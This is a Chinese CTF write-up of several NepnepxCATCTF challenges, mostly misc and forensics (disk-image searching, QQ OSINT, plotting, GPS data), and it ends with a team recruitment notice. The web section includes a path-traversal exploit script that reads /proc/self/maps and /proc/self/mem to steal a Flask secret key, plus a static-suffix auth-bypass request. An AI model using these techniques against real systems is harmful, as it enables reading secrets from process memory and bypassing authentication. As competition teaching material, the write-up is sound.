本文来自:天权信安网络安全生态圈
作者:天权Megrez AcexZe师傅 v2ish1yan师傅 WXjzc师傅
因为是vmdk文件,所以直接用十六进制编辑器打开搜索CatCTF{
根据题目描述以及图片可以推测出我们需要提交的该QQ号主进行的最后一场王者荣耀所使用的英雄,翻看空间找到一张未遮住ID的图片
发现战绩设置了查阅权限,再查看一下游戏对战资料:
jpg文件尾部找到一个wav文件:
exp:
import matplotlib.pyplot as plt
import numpy as np
x, y = np.loadtxt('flag.txt', delimiter=',', unpack=True)
plt.plot(x, y, '.')
plt.show()
flag.txt:
exp:
from PIL import Image
im = Image.open("1.png")
pim = im.load()
an = Image.open("1.png")
ans = an.load()
for i in range(im.size[0]):
for j in range(im.size[1]):
ans[i, j] = pim[-i-1, j]
an.show()
NMEA在线网站https://mygeodata.cloud/converter/nmea-to-kml
这个1让我错失一血。。。
画出flag:CatCTF{GPS_M1ao}
FLAG:CatCTF{GPS_M1ao}
FLAG:CatCTF{H4ppy_n3w_y34r}
```py
b'import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)'
```
cat.py
```py
b'import os, sys, getopt
def cat(filename, start=0, end=0)->bytes:
data = b''
try:
start = int(start)
end = int(end)
except:
start=0
end=0
if filename != "" and os.access(filename, os.R_OK):
f = open(filename, "rb")
if start >= 0:
f.seek(start)
if end >= start and end != 0:
data = f.read(end-start)
else:
data = f.read()
else:
data = f.read()
f.close()
else:
data = ("File `%s` not exist or can not be read" % filename).encode()
return data
if __name__ == '__main__':
opts,args = getopt.getopt(sys.argv[1:],'-h-f:-s:-e:',['help','file=','start=','end='])
fileName = ""
start = 0
end = 0
for opt_name, opt_value in opts:
if opt_name == '-h' or opt_name == '--help':
print("[*] Help")
print("-f --file File name")
print("-s --start Start position")
print("-e --end End position")
print("[*] Example of reading /etc/passwd")
print("python3 cat.py -f /etc/passwd")
print("python3 cat.py --file /etc/passwd")
print("python3 cat.py -f /etc/passwd -s 1")
print("python3 cat.py -f /etc/passwd -e 5")
print("python3 cat.py -f /etc/passwd -s 1 -e 5")
exit()
elif opt_name == '-f' or opt_name == '--file':
fileName = opt_value
elif opt_name == '-s' or opt_name == '--start':
start = opt_value
elif opt_name == '-e' or opt_name == '--end':
end = opt_value
if fileName != "":
print(cat(fileName, start, end))
else:
print("No file to read")'
```
```py
import requests, re
url = "http://223.112.5.156:54007/"
maps_url = f"{url}/info?file=../../../../../proc/self/maps"
#需要匹配的堆地址
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
#从/proc/self/maps中匹配堆地址位置
maps = re.findall(maps_reg, requests.get(maps_url).text)
# print(maps)
#从匹配到的结果一个个遍历读取
for m in maps:
start, end = m.split("-")[0], m.split("-")[1]
start, end = str(int(start, 16)), str(int(end, 16))
read_url = f"{url}/info?file=../../../../../proc/self/mem&start={start}&end={end}"
s = requests.get(read_url).content
print(s)
# 匹配的secret_key格式
rt = re.findall(b"[a-z0-9]{8}[a-z0-9]{4}[a-z0-9]{4}[a-z0-9]{4}[a-z0-9]{12}*abcdefgh", s)
if rt:
print(rt)
```
```
.css#.js#.jpg#.png#.gif#.ico
```
就不会进行认证,从而绕过登录
payload
```
GET /a.css/../flag.html
```
2023年招新计划(主力/NMEGREZ)
注:不限年龄与职业要求,只要不是纯小白(或者是初学者未参与过任何一场比赛的人)就有机会通过审核,天权信安对外长期招新,出色的师傅能够参与团队项目和竞赛项目建设。
PWN:要求技术中等偏上(曾参与过省级/国家级网安赛事荣获过奖项的师傅优先考虑)
REVERSE:要求技术中等(曾参与过省级/国家级网安赛事荣获过奖项的师傅优先考虑)
CRYPTO:要求技术中等偏上
WEB:要求技术中等偏上
取证:曾参与过省级网安取证赛事荣获过奖项的师傅
BLOCKCHAIN/IOT/工控/AI:要求技术中等
CTF竞赛靶场/TQCTF练习平台运维师傅:若干名,熟悉docker操作、动态题目部署、以及常规运维,还具备组网部署经验和Linux、Windows系统部署和日常维护,能使靶场平台在各种环境中正常运行。
欢迎联系:
投递邮箱:[email protected](Evan师傅)
–天权信安网络安全团队–
网络无边 安全有界
用技术撬动未来,用奋斗描绘成功!
天权信安欢迎技术大咖、CTF选手等资深专业人士前来分享网络安全前沿技术、攻防实战经验、内网渗透、IOT安全、CTF、工控安全等内容,一起来帮助大家了解最新网络安全动态,提升新的安全技术,拓宽知识领域,打造一个开放共享的网络安全生态圈,吸引各大爱好CTFer和实战大咖加入我们。这里聚集了一群热爱网络安全的有志之士的加入,为“网络安全爱好者”提供一个更好的学习交流生态圈。
面向人群:欢迎各大高校、企事业单位大咖加入我们!
原文始发于微信公众号(天权信安):NepnepxCATCTF部分WriteUp